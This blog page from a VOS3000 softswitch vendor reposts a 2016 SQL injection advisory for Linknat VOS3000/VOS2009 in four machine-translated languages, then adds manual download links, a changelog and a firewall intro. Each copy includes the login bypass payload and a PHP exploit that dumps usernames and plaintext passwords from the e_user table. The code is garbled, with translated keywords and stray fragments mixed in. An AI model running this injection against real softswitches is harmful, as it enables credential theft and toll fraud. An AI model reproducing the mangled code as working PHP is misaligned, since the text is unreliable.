Skip to content
  • Home
  • Cheapest VOS3000 Server Rent, VOS3000 Best Trusted Vendor
  • VOS3000 Softswitch
Search
Close

VOS3000

MULTAHOST Blog for VOS3000 Troubleshoot

Tag: VOS3000 System Management

COMMENT VOS3000 Get Hacked par SQL Injection Script, empêcher le piratage!

June 4, 2019November 22, 2020 king

Injection SQL Linknat VOS2009/VOS3000


De: Osama Khalid <osama ()="" codinghazard="" com="">D
ate: Thu, 19 mai 2016 16:52:54 +0500</osama>


Une injection SQL a été trouvée dans Linknat VOS3000/VOS2009, un VoIP populaire
softswitch, qui pourrait permettre aux attaquants distants d’accéder à la
informations d’identification stockées en texte brut.

Application: Linknat VOS3000/VOS2009
Versions concernées: 2.1.1.5, 2.1.1.8, 2.1.2.0
URL du fournisseur : http://www.linknat.com/
Bug: SQLi (avec privilèges DBA)
Type: Télécommande
Résolution : Correction, mise à niveau vers 2.1.2.4 ou 2.1.6.0 Version propre
Référence: Wooyun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458

Le SQLi signalé est aveugle basé sur le temps. Comme il ne s’agit pas d’un SQLi en bande, le
résultats peuvent être recueillis à partir de la sortie de bienvenue.jsp au cours de la même
Session.

(1ère demande)

POST http://target/eng/login.jsp
PARAM loginType=1
        name=' union select 1,2,@@version,'hello',5,6#
        pass=' OU ''='

(2ème demande au cours de la même session)

GET http://target/eng/welcome.jsp
RÉSULTAT 0|' sélection syndicale
1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00|

<?[ EXPLOIT CODE ]php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
#
# AUTHOR:     Osama Khalid
# WEBSITE:    http://www.codinghazard.com/
# DATE:       19/05/2016
# REF:        http://www.wooyun.org/bugs/wooyun-2010-0145458

if ($argc  < 2) {
    banner();
    usage();
    exit;
}

$host         = $argv;
$column_one [1]  = isset($argv) ? $argv : "l[2]oginname"[2];
$column_two   = isset($argv) ? $argv : "pas[3]sword";
$[3]table        = isset($argv) ? $argv : "e_us[4]er";
$oth[4]er        = isset($argv) ? $argv : "";

f[5]unction b[5]anner() {
    echo "########################################n";
    echo "#                                      #n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
    echo "#                                      #n";
    echo "#             Osama Khalid             #n";
    echo "########### codinghazard.com ###########n";
}

function usage() {
    echo "n";
    echo "php vos3000.php n";
    echo "php vos3000.p[HOST]hp 127.0.0.1n";
    echo "php vos3000.php     n";
    echo "php vos3000[HOST].[COL1]p[COL2]h[TABLE]p[OTHER SQL] 127.0.0.1 table_schema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0) {
        avantach ( $post comme $key => $value)
            $post_items = $key . '=' . urlencode($value);
      []  $post_string = implose('',$post_items);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
    }
    $data = curl_exec($curl);
    curl_close($curl);
    $data de retour;
}

requête de fonction($host, $query) {
    $data = curl(« http://$host/eng/login.jsp »;, tableau(
            « loginType » => 1,
            « nom » => « ' union « . $query . "#",
            « pass » => « ' OU ''=' »
        ), null, vrai);
    preg_match_all('| Set-Cookie: (.*);|U', $data, $matches);
    $cookies = implose( »; ' $matches);
    $data = curl(« http://$host/en[1]g/welcome.jsp »;, array(), $cookies, false);
    $parts = explode(« | », trim($data));

si (compte($parts) < 7)
        return false;

    return array($parts, $parts);
}

function ascii_table($data[3]) {
    [4]$keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $v)
            $wid = max($wid, strlen($v));
    }
    foreach($[$k]wid comme $k[$k] => $v) {
        $fmt = « %-{$v}s »;
        $sep = str_repeat('-[$k]', $v);
    }
    $fmt = '|[$k] ' . imploser(' | ', $fmt) . ' |';
    $sep = '+-' . imploser('-+-', $sep) . '-+';
    $buf = tableau($sep, vsprintf($fmt, $keys), $sep);
    foreach($data comme $row) {
        $buf = vsprintf($fmt, $row);
        $buf = $[]sep;
    }
    retour implode(« n », []$buf);
}

bannière();
écho « n »;
écho « Cible: $hostn »;
écho « Colonne #1: $column_onen »;
écho « Colonne #2: $column_twon »;
écho « Table: $tablen »;
écho « Autre: $othern »;
écho « n »;

$results = tableau();
$count_result = query($host, « SELECT 1,2,COUNT(*),4,5,6 FROM $table
$other »);
si ($count_result) {
    $count = intval($count_result);
    écho « Trouvé $count lignes...n [0]»;

pour ($i=0; $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $column[0]_two="" .="" "=" . hex2bin($result) .
" n";="" }[1]="" else="" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($co[]lumn_one" ==""> hex2bin($result), $colum[0]n_two
=> hex2bin($result));
    }
[1]
si (compte($results) > 0) {
        écho « nn » . ascii_table($results) . « n »;
    }
} autre {
    écho « error retriving row count » ;
}

?></$count;>

À partir de 2016 Les gens utilisant quelques articles doux d’injection SQL pour pirater VOS3000, Nous avons notre propre système de sécurité à partir de ce moment, nous avons mis à jour notre système de sécurité trop fort maintenant, mon objectif de travail a toujours été pour la sécurité pour voip soft-switch. La plupart du temps, j’ai donné des conseils gratuits ou partagé des informations autant possible gratuitement. Pourtant, il ya beaucoup de choses sales courir autour, donc s’il vous plaît être prudent toujours et en savoir plus. Sinon, vous ne serez jamais en mesure de faire de bonnes affaires jamais. Maintenant-un-jours Personnes utilisant des scripts cachés ou des logiciels malveillants dans le logiciel client VOS3000 pour pirater VOS Server.

Pour plus d’aide Frappez-moi dans WhatsApp: +8801911119966 – je vais faire aider tous les moyens.

كيف VOS3000 الحصول على اختراق من قبل SQL حقن البرنامج النصي، ومنع القرصنة!

June 4, 2019November 22, 2020 king

Linknat VOS2009/VOS3000 حقن SQL


من: أسامة خالد <osama ()="" codinghazard="" com="">التاري
خ: الخميس, 19 مايو 2016 16:52:54 +0500</osama>


تم العثور على حقنة SQL في لينكنات VOS3000/VOS2009، وهو VoIP شعبية
softswitch، التي يمكن أن تسمح للمهاجمين عن بعد للوصول إلى
بيانات الاعتماد المخزنة في نص عادي.

التطبيق: لينكنات VOS3000/VOS2009
الإصدارات المتأثرة: 2.1.1.5, 2.1.1.8, 2.1.2.0
URL البائع: http://www.linknat.com/
خطأ: SQLi (مع امتيازات DBA)
النوع: عن بعد
القرار: ثابت، الترقية إلى 2.1.2.4 أو 2.1.6.0 النسخة النظيفة
المرجع: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458

SQLi ذكرت هي عمياء القائمة على الزمن. نظرا لأنه ليس في النطاق SQLi ، و
ويمكن جمع النتائج من الناتج من الترحيب .jsp خلال نفس
الدوره.

(الطلب الأول)

http://target/eng/login.jsp
تسجيل الدخول PARAMاًايناًالم
        name=' حدد الاتحاد 1,2,@@version,'مرحبا',5,6#
        تمرير =' أو ''='

(الطلب الثاني خلال الدورة نفسها)

الحصول على http://target/eng/welcome.jsp
اختيار 0|'الاتحاد
1,2,@@version,'مرحباً',5,6#|1|5.0.51a-المجتمع|مرحباً|0.00|0.00|||

<?php
#
#[ EXPLOIT CODE ] Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
#
# AUTHOR:     Osama Khalid
# WEBSITE:    http://www.codinghazard.com/
# DATE:       19/05/2016
# REF:        http://www.wooyun.org/bugs/wooyun-2010-0145458

if ($argc  < 2) {
    banner();
    usage();
    exit;
}

$host         = $argv;
$column_one   [1]= isset($argv) ? $argv : "log[2]inname";
[2]$column_two   = isset($argv) ? $argv : "pass[3]word";
$t[3]able        = isset($argv) ? $argv : "e_us[4]er";
$othe[4]r        = isset($argv) ? $argv : "";

f[5]unction b[5]anner() {
    echo "########################################n";
    echo "#                                      #n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
    echo "#                                      #n";
    echo "#             Osama Khalid             #n";
    echo "########### codinghazard.com ###########n";
}

function usage() {
    echo "n";
    echo "php vos3000.php n";
    echo "php vos30[HOST]00.php 127.0.0.1n";
    echo "php vos3000.php     n";
    echo "php vo[HOST]s[COL1]3[COL2]0[TABLE]0[OTHER SQL]0.php 127.0.0.1 table_schema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0) {20
        foreach ( $post $key = > $value)
            $post_items = $key . '=' . urlencode ($value[]) ؛
        $post_string = "الهدّة" ('&&'، $post_items)؛
        curl_setopt ($curl، CURLOPT_POST، 1)؛
        curl_setopt ($curl، CURLOPT_POSTFIELDS، $post_string)؛
    }
    $data = curl_exec ($curl)؛
    curl_close ($curl)؛
    العودة $data ، ولكن
}

استعلام الدالة($host، $query) {
    $data = حليقة ("http://$host/eng/login.jsp";, صفيف
            "loginType" = > 1،
            "name" => "الاتحاد" . $query . "#",
            "تمرير" = > "' أو ''='"
        )، فارغة، صحيحة)؛
    preg_match_all('| تعيين ملف تعريف الارتباط: (.*); |U'، $data، $matches)؛
    $cookies = تنهار ('؛ '، $matches)؛
    [1]$data = حليقة ("http://$host/eng/welcome.jsp";, array(), $cookies, false);
    $parts = تنفجر ("|", تقليم ($data));

إذا (العد($parts) < 7)
        return false;

    return array($parts, $parts);
[3]}

funct[4]ion ascii_table($data) {
    $keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $v)
            $wid = الحد الأقصى[$k] ($wid، str[$k]len($v))؛
    }
    foreach($wid $k = > $v) {
        $fmt = "%-{$[$k]v}s";
        $sep = str_r[$k]epeat ('-'، $v)؛
    }
    $fmt = '| ' . تنهار (' | '، $fmt) . ' |';
    $sep = '+-' . تنهار ('-+-'، $sep) . '-+';
    $buf = صفيف ($sep، $sep vsprintf($fmt، $keys)، و
    foreach($data كما $row)
        $buf = vsprintf ([]$fmt، $row)؛
        $buf = $sep؛
    []}
    العودة تنهار ("n", $buf);
}

راية();
echo "n";
صدى "الهدف: $hostn";
صدى "عمود #1: $column_onen";
صدى "العمود #2: $column_twon";
صدى "جدول: $tablen";
صدى "أخرى: $othern"؛
echo "n";

$results = صفيف();
$count_result = استعلام($host، "حدد 1,2,COUNT(*), 4,5,6 من $table
$other")؛
إذا ($count_result) {
    $count = intval ($count_result);
    echo "العثور على $count الصفوف...n"[0];

لـ ($i= 0؛ $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $colum[0]n_two="" .="" "=" . hex2bin($result) .
" n";="" [1]}="" else="" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array([]$column_one" ==""> سداسي عشري ($result)،[0] $column_two
=> سداسي عشري ($resu[1]lt));
    }

إذا (عدد($results) > 0) {
        echo "nn" . ascii_table($results) "n";
    }
} آخر {
    echo "خطأ في استرداد عدد الصفوف"؛
}

?></$count;>

من 2016 الناس باستخدام بعض أجهزة حقن SQL لينة الإختراق VOS3000, لدينا نظامنا الأمن الخاصة من ذلك الوقت, قمنا بتحديث نظامنا الأمني قوية جدا الآن, كان تركيز عملي دائما للأمن لvoip لينة التبديل. معظم الوقت أعطى نصيحة مجانية أو تبادل المعلومات قدر الإمكان مجانا. لا يزال هناك الكثير من الأشياء القذرة يركض، لذا يرجى توخي الحذر دائما ومعرفة المزيد. وإلا فإنك لن تكون قادرة على القيام بأعمال تجارية جيدة من أي وقت مضى. الآن في أيام الناس باستخدام البرامج النصية المخفية أو ملورس في VOS3000 برنامج العميل الإختراق VOS Server.

لمزيد من المساعدة تدق لي في ال WhatsApp: +880191119966 – سأفعل مساعدة جميع الطرق.

COME VOS3000 Ottenere Hacked da SQL Injection Script, prevenire l'hacking!

June 4, 2019November 22, 2020 king

Linknat VOS2009/VOS3000 SQL injection


Da: Osama Khalid <osama ()="" codinghazard="" com="">D
ata: Giovedi, 19 Maggio 2016 16:52:54</osama>


Un'iniezione SQL è stata trovata in Linknat VOS3000/VOS2009, un voIP popolare
softswitch, che potrebbe consentire agli aggressori remoti di accedere al
credenziali memorizzate in testo normale.

Applicazione: Linknat VOS3000/VOS2009
Versioni interessate: 2.1.1.5, 2.1.1.8, 2.1.2.0
URL fornitore: http://www.linknat.com/
Bug: SQLi (con privilegi DBA)
Tipo: Remoto
Soluzione: fisso, aggiornamento a 2.1.2.4 o 2.1.6.0 Versione pulita
Riferimento: WooYun-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458

SqLi segnalato è cieco basato sul tempo. Poiché non si tratta di un SQLi in banda,
risultati possono essere raccolti dalla produzione di .jsp durante lo stesso
Sessione.

(prima richiesta)

POST http://target/eng/login.jsp
Tipo di login PARAM 1
        name: 'unione selezionare 1,2,@@version,'ciao',5,6
        pass: OR '''

(seconda richiesta durante la stessa sessione)

GET http://target/eng/welcome.jsp
RISULTATO 0'' unione select
1,2,@@version,'ciao',5,6' 1'5.0.51a-community'hello'0.[ EXPLOIT CODE ]0.00

<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
#
# AUTHOR:     Osama Khalid
# WEBSITE:    http://www.codinghazard.com/
# DATE:       19/05/2016
# REF:        http://www.wooyun.org/bugs/wooyun-2010-0145458

if ($argc  < 2) {
    banner();
    usage();
    exit;
}

$host         = $arg[1]v;
$column_one   = isset($arg[2]v) ? $arg[2]v : "loginname";
$column_two   = isset($argv[3]) ? $argv[3] : "password";
$table        = isset($argv[4]) ? $argv[4] : "e_user";
$other        = isset($argv)[5] ? $argv [5]: "";

function banner() {
    echo "########################################n";
    echo "#                                      #n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
    echo "#                                      #n";
    echo "#             Osama Khalid             #n";
    echo "########### codinghazard.com ###########n";
}

function usage() {
    echo "n";
    echo "php vos3000.php n";[HOST]
    echo "php vos3000.php 127.0.0.1n";
    echo "php vos3000.php     [HOST]n[COL1]"[COL2];[TABLE]
[OTHER SQL]    echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0)
        foreach ($post come $key di > $value)
            $post_items - $key .[] '=' . urlencode($value);
        $post_string : implode('&', $post_items);
        curl_setopt($curl, CURLOPT_POST, 1);
        curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string);
    }
    $data : curl_exec ($curl);
    curl_close($curl);
    restituire $data;
}

funzione query($host, $query)
    $data : curl("http://$host/eng/login.jsp";, array(
            "loginType" - > 1,
            "nome" - > "' unione " . $query . "#",
            "pass" - > "' OR ''''"
        ), null, true);
    preg_match_all('' Set-Cookie: ($matches $data.
    $cookies : implodere('; ', $matches);
    $data : [1]curl("http://$host/eng/welcome.jsp";, array(), $cookies, false);
    $parts : esplodi ("""" , trim($data));

if (count($parts) < 7)
        return false;

    return array($parts, $parts);
}

func[3]tion asc[4]ii_table($data) {
    $keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $v)
            $wid : max($wid, strlen([$k]$v));
    }[$k]
    foreach($wid come $k di > $v)
        $fmt: "%-$v";
        $[$k]sep : str_repeat ('-', $v)[$k];
    }
    $fmt : ' ' . implodere(' ', $fmt) . ' |';
    $sep di tipo '-' . implode ('--', $sep) . '-+';
    $buf: array($sep, vsprintf($fmt, $keys), $sep);
    foreach($data come $row)
        $buf vsprintf($fmt, $row)[];
        $buf - $sep;
    }
    rest[]ituire implode(""n", $buf);
}

banner();
eco "n";
eco "Target: $host";
echo "#1: $column_one";
echo "Colonna #2: $column_due";
eco "Tabella: $table n";
eco "Altro: $other n";
eco "n";

$results : array();
$count_result : query($host, "SELECT 1,2,COUNT('),4,5,6 FROM $table
$other");
if ($count_result)
    $count : intval($count_result);
    echo "Trovato $count righe...

for ($i 0; $i<[0]$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $column_two="" .="" "=[0]" . hex2bin($result) .
" n";="" }="" else="" {="[1]" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" =="[]"> hex2bin($result), $column_2
<>a0></a[0]0> $result a1><
    }

if (count([1]$results) > 0)
        echo "n"n" . ascii_table($results) . "n";
    }
- altro .
    echo "Errore durante il recupero del numero di righe";
}

?></$count;>

Dal 2016 Persone che utilizzano alcuni prodotti soft iniezione sql per incidere VOS3000, Abbiamo il nostro sistema di sicurezza da quel momento, abbiamo aggiornato il nostro sistema di sicurezza troppo forte ora, il mio obiettivo di lavoro era sempre per la sicurezza per voip soft-switch. La maggior parte del tempo ho dato consigli gratuiti o informazioni condivise il più possibile gratuitamente. Ancora ci sono un sacco di cose sporche in giro, quindi si prega di stare attenti sempre e saperne di più. Altrimenti non sarai mai in grado di fare buoni affari mai. Ora-a-days Persone che utilizzano script nascosti o malware nel software client VOS3000 per hackerare VOS Server.

Per più aiuto Knock me in whatsapp: 8801911119966 – farò aiutare tutti i modi.

VoS3000 如何被黑客攻击的 SQL 注入脚本, 防止黑客攻击!

June 4, 2019November 22, 2020 king

林克纳特VOS2009/VOS3000 SQL 注入


从: 奥萨马· <osama ()="" codinghazard="" com="">哈立德 日
期: 2016年5月19日 星期四 16:52:54 +0500</osama>


在 Linknat VOS3000/VOS2009 中发现了 SQL 注入,这是一种流行的 VoIP
软开关,可以允许远程攻击者访问
以纯文本存储的凭据。

应用: Linknat VOS3000/VOS2009
受影响的版本: 2.1.1.5, 2.1.1.8, 2.1.2.0
供应商 URL: http://www.linknat.com/
错误: SqLi (具有 DBA 特权)
类型:远程
分辨率:已修复,升级到 2.1.2.4 或 2.1.6.0 清洁版本
型号: 吴云-2015-145458 -
http://www.wooyun.org/bugs/wooyun-2010-0145458

SQLi 报告是基于时间的盲人。 因为它不是带内SQLi,
结果可以从欢迎的输出中收集.jsp期间
会话。

(第一次请求)

邮政http://target/eng/login.jsp
PARAM 登录类型=1
        名称=' 联合选择 1,2,@@version",'你好',5,6#
        通过'或'''''

(同一会话期间的第二个请求)

获取http://target/eng/welcome.jsp
结果 0=' 联合选择
1,2,@@version,"你好",5,6#1=5.0.51a社区[hello{0.00]0.00]

<?php
#
# Linknat VOS2009/VOS3000 SQLi exploit
#
# DISCLAIMER: The [ EXPLOIT CODE ]exploit is to be used for educational purposes only
#             The author would not be responsible for any misuse
#
# AUTHOR:     Osama Khalid
# WEBSITE:    http://www.codinghazard.com/
# DATE:       19/05/2016
# REF:        http://www.wooyun.org/bugs/wooyun-2010-0145458

if ($argc  < 2) {
    banner();
    usage();
    exit;
}

$host         = $argv;
$column_one   = isset($argv) ? $argv :[1] "loginname";
$column_two  [2] = isset[2]($argv) ? $argv : "password";
$table     [3]   = iss[3]et($argv) ? $argv : "e_user";
$other   [4]     = is[4]set($argv) ? $argv : "";

function ba[5]nner() {[5]
    echo "########################################n";
    echo "#                                      #n";
    echo "# Linknat VOS3000/VOS2009 SQLi exploit #n";
    echo "#                                      #n";
    echo "#             Osama Khalid             #n";
    echo "########### codinghazard.com ###########n";
}

function usage() {
    echo "n";
    echo "php vos3000.php[HOST] n";
    echo "php vos3000.php 127.0.0.1n";
    echo "php vos300[HOST]0[COL1].[COL2]p[TABLE]h[OTHER SQL]p     n";
    echo "php vos3000.php 127.0.0.1 table_schema table_name
information_schema.tables "where table_schema = 'mysql'"
n";
}

function curl($url, $post = array(), $cookies = null, $header = false) {
    $curl = curl_init();
    curl_setopt($curl, CURLOPT_URL, $url);
    curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false);
    curl_setopt($curl, CURLOPT_HEADER, $header);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    if ($cookies != null)
        curl_setopt($curl, CURLOPT_COOKIE, $cookies);
    if (count($post) > 0) |
        foreach ($po[]st为 $key [> $value)
            $post_项目 = $key 。'=' .urlencode ($value);
        $post_string = 内爆('&',$post_项);
        curl_setopt($curl,CURLOPT_POST,1);
        curl_setopt($curl,CURLOPT_POSTFIELDS,$post_string);
    }
    $data = curl_exec($curl);
    curl_close($curl);
    返回$data;
}

函数查询($host$query) |
    $data = 卷曲("http://$host/eng/登录.jsp";, 数组(
            "登录类型"=> 1,
            "名称"=>"联盟"。$query."#",
            "通过" > "或"""""""""""""""""""""""""""""""""""""""""
        ),空,真);
    preg_match_all('|设置曲奇: (.*$matches $data);
    $cooki[1]es = 内爆 (';",$matches);
    $data = 卷曲("http://$host/eng/欢迎.jsp";, 数组 (), $cookies, 假);
    $parts = 爆炸("=",修剪($data);

如果 (计数($parts) < 7)
        return false;

    return array($[3]parts, [4]$parts);
}

function ascii_table($data) {
    $keys = array_keys(end($data));
    $wid = array_map('strlen', $keys);
    foreach($data as $row) {
        foreach(array_values($row) as $k => $[$k]v)
       [$k]     $wid = 最大值($wid,条纹($v);
    }
    前 ($wid作为$k [> $v)]
  [$k]      $fmt = "%-[$v]";
 [$k]       $sep = str_repeat ('-', $v);
    }
    $fmt "' .内爆(')', $fmt) 。' |';
    $sep = "=-" 。爆裂('-=-',$sep)。'-+';
    $buf = 数组($sep,vsprintf($fmt,$keys),$sep);
    每一$data ($row) |
        $buf = vsprin[]tf($fmt,$row);
        $buf = $sep;[]
    }
    返回内爆("n",$buf);
}

横幅();
回音"n";
回音"目标:$hostn";
回音"列#1:$column_onen";
回音"列#2:$column_2n";
回音"表:$tablen";
回音"其他:$othern";
回音"n";

$results = 数组();
$count_result = 查询($host,"选择 1,2,COUNT(*),4,5,6 $table
$other");
如果 ($count_结果) |
    $count = intval($count_结果);
    回音"$count行...n";

用于 ($i=0;$i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($col[0]umn_one),HEX($column_two),5,6 FROM $table
$other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" .
hex2bin($result) . " ,="" "="" .="" $column_two="" .="" "=" . hex2bin($result) [0].
" n";="" }="" else="" {="" echo="" "error=[1]"" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="array($column_one" =="">十六进制 ($[]result), $column_2
•>十六进制($result);使[0]用十进制十六进制($result));$result十六进制"[1];$result十六进制";$result
    }

如果 (计数 ($results) > 0) |
        回显"nn"。ascii_table($results) ."n";
    }
[否则]
    回显"错误检索行计数";
}

?></$count;>

从 2016 年人们使用一些 sql 注入软产品来破解 VOS3000, 我们有自己的安全系统, 从那个时候开始, 我们更新我们的安全系统太强了, 我的工作重点总是为 voip 软切换的安全. 大多数时候,我给免费的建议或共享信息尽可能免费。 仍然有很多脏东西跑来跑去, 所以请永远小心, 知道更多。 否则,你永远无法做好生意。 现在一天人们使用在VOS3000客户端软件中隐藏的脚本或恶意软件来破解VOS服务器。

更多帮助敲我在 whatsapp: +880191119966 – 我会做帮助所有的方式。

multahost-vos3000-server-banner, VOS3000 2.1.8.00, VOS3000 All PDF Manuals, VOS3000 client, Vendor Billing

VOS3000 2.1.7.01 Manual/Guide/Details in English

June 2, 2019January 16, 2026 king

VOS3000 2.1.7.01 Manual/Guide/Details in English

Dear Readers,

This post is very Simple, Whoever you are looking for VOS3000 2.1.7.01 Version Manual, You can download it from here, Its official Manual for VOS3000 2.1.7.01. This is complete English manual for vos3000 2170.1 version.

Here is the download link: http://vos3000.com/downloads/VOS3000_Manual_Version2170_(VOS3000.Com).pdf

If you have any issue or if you need any kind help then please let us know. Stay tuned for more VOS3000 Updates.


VOS3000_Web_Interface_Developing_Manual/WEB API VOS3000

  • VOS3000 High CPU Usage Essential Server Performance Best Optimization
  • VOS3000 Database Recovery Complete MySQL Corruption Fix Solution
  • VOS3000 Call Drop Disconnect Proven Troubleshooting Guide
  • VOS3000 SIP Registration Failed Complete Causes Solutions
  • VOS3000 One-Way Audio Fix True Essential SIP RTP Troubleshooting

VOS3000 2.1.4.0 Manual/Guide/Details

June 2, 2019June 4, 2019 king

Dear Readers,

This post is very Simple, Whoever you are looking for VOS3000 2.1.4.0 Version Manual, You can download it from here, Its official Manual for VOS3000 2.1.4.0. This is complete English manual for vos3000 2140 version.

Here is the download link: http://vos3000.com/downloads/VOS3000_Manual_Version2140_(VOS3000.Com).pdf

If you have any issue or if you need any kind help then please let us know. Stay tuned for more VOS3000 Updates.

VOS3000 Web Management/Android/IOS Mobile Apps Developing API

June 2, 2019June 2, 2019 king1 Comment

Dear Readers,

Many people now a days looking for how to develop VOS3000 web modules, Some of them made it insecurely. This blog is written for it, VOS3000 already have API Details for Web management software developer or Who want web controller or Mobile Apps, If you really need it then we will suggest to develop it your own with a developer to be safe side. Its pretty simple work, any programmer can do it without much coding knowledge, I am sharing the complete Guide to Make Mobile Apps for VOS3000 or Web Management. Its from Official Developers, so its better to use their API. One more thing, Please make sure your security is very strong because using web management will open more doors for bad people to hack it.

Here is the Link for Download it: http://vos3000.com/downloads/VOS3000_Web_Interface_Developing_Manual(VOS3000.Com).pdf

Stay Connected for All Kind VOS3000 Updates.

VOS3000 2.1.6.0 Change logs/ Updates history by Developer Team

June 1, 2019June 2, 2019 king

Here is the last updated list by developer team for vos3000 2.1.6.0

V2.1.6.0 

Phone forwarding number provides tabular editing
The phone increases the call-free setting of the call platform phone, and increases the system parameters to control. 6
The phone increases the incoming caller rewriting rules.
Add a phone card to open a card to support multiple package settings
Increase the maximum minute rate setting for the phone
Phone Adds General Call Transfer/Interrogated Call Transfer Outgoing Display Settings
Increase call picking function
Add a multi-number function to the phone
Increase call retention
Increase the processing mode of the account balance when the package subscription is insufficient (including interface)
Increase the account validity period after the recharge card is recharged
Add a package non-full cycle subscription feature
Rate management increases by billing prefix filter
Increase the minimum profit margin of the landing gateway to support the negative setting (VOS3000.Com exclusive)
Package increases the effective consumption limit
Increase package priority
Rate group increase is filtered by name
Rate replacement redesign
Callback according to the flow rate
Add another income report
Increase the landing gateway time period priority (unique for VOS3000.Com)
Increase the concurrent and falling alarms of the docking/landing gateway (exclusive to VOS3000.Com)
Increase the time-based alarm configuration capability of the docking/landing gateway (exclusive to the VOS3000.Com)
Increase the landing gateway call timeout alarm (unique for VOS3000.Com)
Increase the docking gateway CPS alarm (unique for VOS3000.Com)
Add phone/land/dock gateway independent registration and call tracking
Increase user login client NIC Mac limitability
Filter table keywords increase comma separation while filtering multiple pieces of data
Improve the card card opening function, add extra features of the phone card
Improve the log query process
Increase Agency Revenue Statement
Add dual-system hot backup client direct management (VOS3000.Com is equipped with dual-system hot standby module)
Increase the number of lines reserved by the landing gateway (unique for VOS3000.Com)
Increase the gateway group line limit using the gateway setting function (unique for VOS3000.Com)
Landing/docking gateways can restrict names (unique for VOS3000.Com)
Docking/landing gateway adds CPS control, online landing/docking increases CPS display (VOS3000.Com exclusive)
Increase the parameter setting password alternative character set
IVR process tracking
Increase the accuracy of bill calculation
Increase the standard WEB log IP address record function
Increase the VOS service process monitoring component
Increase illegal call alert (unique for VOS3000.Com)
Add a docking gateway call return error code customization, you can customize the error code conversion rules
Increase all database alarms (unique for VOS3000.Com)

VOS3000 2.1.6.0 Version clean VirusFree, Backdoor Free Client Software :

http://vos3000.com/downloads/VOS3000%20V2.1.6.0(VOS3000.Com).exe

Download now!

multahost-vos3000-server-banner, VOS3000 2.1.8.00, VOS3000 All PDF Manuals, VOS3000 client, Vendor Billing

VOS3000 Extended Firewall for Secured Server

May 27, 2019March 10, 2026 king

VOS3000 Extended Firewall for Secured Server

Hello all,

Basically we was the first who developed “Access Code” based firewall. Its actually most simple and easy firewall ever. The reason of this firewall is:

1. Many unwanted people scan ips and try for login in vos client, so for access code now its double layers. Without allowing access code nobody can login vos client. So they need to know both details.

